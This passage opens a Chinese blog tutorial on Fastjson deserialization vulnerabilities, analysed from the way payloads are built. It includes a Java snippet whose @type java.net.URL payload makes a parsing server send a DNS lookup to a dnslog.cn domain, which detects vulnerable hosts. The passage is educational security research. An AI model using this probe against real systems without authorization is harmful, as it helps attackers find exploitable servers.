逆向学习fastjson反序列化始

最新推荐文章于 2024-08-11 01:45:18 发布

夏日清1

最新推荐文章于 2024-08-11 01:45:18 发布

阅读量7.5k

点赞数

分类专栏：安全代码审计反序列化

本文链接：https://blog.csdn.net/sun1318578251/article/details/107355552

版权

本文从payload构造角度分析Fastjson反序列化漏洞，探讨@type字段的作用，解析漏洞成因，包括RCE payload的构成，并介绍了DNSLOG在漏洞探测中的应用。通过实例和文档引用，深入理解漏洞原理。

摘要由CSDN通过智能技术生成

前言

Fastjson这款国内知名的解析json的组件，笔者在此就不多介绍，网络上有很多分析学习fastjson反序列化漏洞文章。笔者在此以一种全新角度从分析payload构造角度出发，逆向学习分析fastjson反序列化漏洞始末。
ps：漏洞学习环境以代码均在上传Github项目。

初窥Payload

下面是一段最简单Fastjson的版本号反序列化--URLDNS代码，观察发现可以提出一个问题@type作用？

import com.alibaba.fastjson.JSON;
public class urldns {
   
    public static void main(String[] args) {
   
        // dnslog平台网站：http://www.dnslog.cn/
        String payload = "{
   {\"@type\":\"java.net.URL\",\"val\"" +
                ":\"http://h2a6yj.dnslog.cn\"}:\"summer\"}";
        JSON.parse(payload);
    }
}

@type的作用

下面是一段实验代码，帮助理解分析@type的由来。

public class User {
   
    private String name;
    private int age;
 

    public String getName() {
   
        return name;
    }
    public void setName(String name) {
   
        this.name = name;
    }

    public int getAge() {
   
        return age;
    }
    public void setAge(int age) {
   
        this.age = age;
    }
     @Override
    public String toString() {
   
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
    
}